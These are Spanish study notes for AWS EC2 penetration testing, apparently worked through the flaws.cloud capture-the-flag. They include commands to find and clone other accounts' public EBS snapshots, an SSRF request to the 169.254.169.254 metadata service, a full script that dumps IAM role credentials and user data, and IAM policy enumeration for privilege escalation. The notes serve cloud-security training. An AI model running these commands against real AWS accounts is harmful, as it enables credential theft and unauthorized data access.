Pentesting EC2
AWS - EC2 Unauthenticated Enum - HackTricks Cloud
EC2 significa Elastic Compute Cloud.
Public AMIs & EBS snapshots 🔑
AMI (Amazon Machine Image)
Es una plantilla que contiene todo lo necesario para lanzar un servidor virtual (una instancia EC2).
aws configure --profile ctf
Para saber donde esta mi OwnerID
aws sts get-caller-identity --profile ctf
{
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Account": "975426262029", <- OwnerID
"Arn": "arn:aws:iam::975426262029:user/backup"
}
Buscar AMIs por OwnerID:
aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `975426262029/`) == `true`]'
EBS
Snapshot de tu "disco duro" en la nube
Buscar EBs por OwnerID
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
o
aws --profile flaws ec2 describe-snapshots --owner-id 975426262029
Para clonarlos el snapshot de otra cuenta, tenemos que usar nuestro profile, con nuestra cuenta de usuario IAM , si solo tenemos cuenta root, necesitamos una IAM:
Paso 0: Crear cuenta IAM y generar credenciales de acceso
-
Accedemos a nuestra consola como root
https://eu-central-1.console.aws.amazon.com/console/home?nc2=h_si®ion=eu-central-1&src=header-signin# -
Creamos el usuario IAM
- Nos logueamos como el usuario IAM
Creamos credenciales de seguridad para la línea de comandos:
Ahora si que si podemos clonarnos el snapshot :
aws --profile YOUR_ACCOUNT ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Paso 1: Crear el Volumen
aws --profile ctf2 ec2 create-volume \
--availability-zone us-west-2a \
--region us-west-2 \
--snapshot-id snap-0b49342abd1bdcb89
Resultado (Ejemplo):
{
"VolumeId": "vol-0abcdef123456789", <-- ¡Copia este valor!
"State": "creating",
...
}
Usaremos vol-0abcdef123456789 como ejemplo.
Paso 2: Crear un Par de Llaves (Key Pair)
Necesitas un archivo de llave .pem para conectarte a la instancia por SSH. Si ya tienes una, puedes saltar este paso y usar el nombre de esa.
Bash
# 1. Crea la llave y guarda el material en un archivo .pem
aws --profile ctf2 ec2 create-key-pair \
--key-name mi-llave-ctf \
--query 'KeyMaterial' \
--output text > mi-llave-ctf.pem
# 2. Asegura los permisos del archivo (obligatorio para SSH)
chmod 400 mi-llave-ctf.pem
El nombre de tu llave es mi-llave-ctf.
Paso 3: Crear un Grupo de Seguridad (Security Group)
Necesitas un "firewall" que te permita conectarte por SSH (puerto 22).
# 1. Crea el grupo de seguridad
aws --profile ctf2 ec2 create-security-group \
--group-name mi-sg-ssh \
--description "Permitir SSH" \
--region us-west-2
Resultado (Ejemplo):
{
"GroupId": "sg-0abcdef123456789" <-- ¡Copia este valor!
}
# 2. Añade la regla para permitir SSH desde tu IP
# (ATENCIÓN: 0.0.0.0/0 permite a CUALQUIERA conectarse. Es más seguro
# reemplazarlo con tu IP pública. Búscala en Google "what is my ip")
aws --profile ctf2 ec2 authorize-security-group-ingress \
--group-id sg-0abcdef123456789 \
--protocol tcp \
--port 22 \
--cidr 0.0.0.0/0 \
--region us-west-2
Usaremos sg-0abcdef123456789 como ejemplo.
Paso 4: Lanzar la Instancia EC2
Ahora creamos el servidor.
Importante: Debe estar en la misma Availability Zone que el volumen (us-west-2a).
# 1. Busca el ID de la AMI más reciente de Amazon Linux (para us-west-2)
AMI_ID=$(aws --profile ctf2 ssm get-parameter \
--name /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 \
--region us-west-2 \
--query 'Parameter.Value' \
--output text)
echo "Usando AMI ID: $AMI_ID"
# 2. Lanza la instancia
aws --profile ctf2 ec2 run-instances \
--image-id $AMI_ID \
--instance-type t2.micro \
--key-name mi-llave-ctf \
--security-group-ids sg-0abcdef123456789 \
--availability-zone us-west-2a \
--region us-west-2
Resultado (Ejemplo):
{
"Instances": [
{
"InstanceId": "i-0abcdef123456789", <-- ¡Copia este valor!
...
}
]
}
Usaremos i-0abcdef123456789 como ejemplo.
Paso 5: Adjuntar el Volumen a la Instancia
Ahora, "conectamos" el disco (volumen) al servidor (instancia).
# Esperamos a que la instancia esté 'running'
echo "Esperando a que la instancia esté en ejecución..."
aws --profile ctf2 ec2 wait instance-running --instance-ids i-0abcdef123456789 --region us-west-2
# Esperamos a que el volumen esté 'available'
echo "Esperando a que el volumen esté disponible..."
aws --profile ctf2 ec2 wait volume-available --volume-ids vol-0abcdef123456789 --region us-west-2
# Adjuntamos el volumen
echo "Adjuntando volumen..."
aws --profile ctf2 ec2 attach-volume \
--volume-id vol-0abcdef123456789 \
--instance-id i-0abcdef123456789 \
--device /dev/sdf \
--region us-west-2
Paso 6: Conectarse por SSH
Es hora de entrar a la máquina.
# 1. Obtenemos la IP pública o DNS de la instancia
DNS_PUBLICO=$(aws --profile ctf2 ec2 describe-instances \
--instance-ids i-0abcdef123456789 \
--query 'Reservations[0].Instances[0].PublicDnsName' \
--output text \
--region us-west-2)
echo "Conectando a: $DNS_PUBLICO"
# 2. Conéctate usando la llave .pem
ssh -i "mi-llave-ctf.pem" ec2-user@$DNS_PUBLICO
Paso 7: Montar el Volumen (Dentro del SSH)
Ya estás dentro de la instancia. El volumen está adjuntado, pero el sistema operativo aún no puede "ver" los archivos. Tienes que montarlo.
Una vez que te conectes por SSH, ejecuta estos comandos dentro de la instancia:
# 1. Lista los discos. Verás tu disco (ej. /dev/xvdf o /dev/nvme1n1)
# El nombre /dev/sdf (del paso 5) se traduce a /dev/xvdf en Linux.
sudo lsblk
El resultado se verá así, mostrando el disco xvdf (o similar) sin un punto de montaje:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 8G 0 disk
└─xvda1 202:1 0 8G 0 part /
xvdf 202:80 0 [TAMAÑO_VOL]G 0 disk
└─xvdf1 202:81 0 [TAMAÑO_VOL]G 0 part
Bash
# 2. Crea una carpeta donde montar el disco
sudo mkdir /mnt/data
# 3. Monta el disco
#
# CASO A: Si 'lsblk' mostró una partición (ej. xvdf1)
sudo mount /dev/xvdf1 /mnt/data
#
# CASO B: Si 'lsblk' NO mostró partición (solo xvdf)
# sudo mount /dev/xvdf /mnt/data
# 4. ¡Listo! Ahora puedes ver los archivos
ls /mnt/data
Ahora, al hacer ls /mnt/data, deberías ver todos los archivos que estaban en el snapshot original.
SSRF
Con cualquier SSRF podemos leer la metadata del EC2, que se encuentra en http://169.254.169.254
Con curl:
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
Más info importante que se puede exfiltrar:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Las creds de seguridad:
Credenciales temporales (Access Key, Secret Key y Token) del Rol de IAM llamado flaws que está adjunto a la instancia. Estas son las credenciales que usas para hacer llamadas a la API de AWS (ej. aws s3 ls...) :
169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Credenciales especiales y muy limitadas usadas específicamente para el servicio EC2 Instance Connect (para permitir conexiones SSH desde la consola de AWS). No son para uso general de la API:
169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Privesc
AWS - EC2 Privesc - HackTricks Cloud
Listar políticas administradas (plantillas de permisos)
aws iam list-attached-user-policies --user-name Level6 --profile ctf4
Para ver más información de una en específico
aws iam get-policy --policy-arn "[EL_ARN_DE_LA_POLITICA]" --profile ctf4
aws iam get-policy-version --policy-arn "[EL_ARN_DE_LA_POLITICA]" --version-id [ID_DE_LA_VERSION] --profile ctf4 --query 'PolicyVersion.Document' --output text | jq -r 'fromjson'
Políticas "En línea" personalizadas (no son reutilizables, no pueden ser adjuntadas a nadie más)
aws iam list-user-policies --user-name Level6 --profile ctf4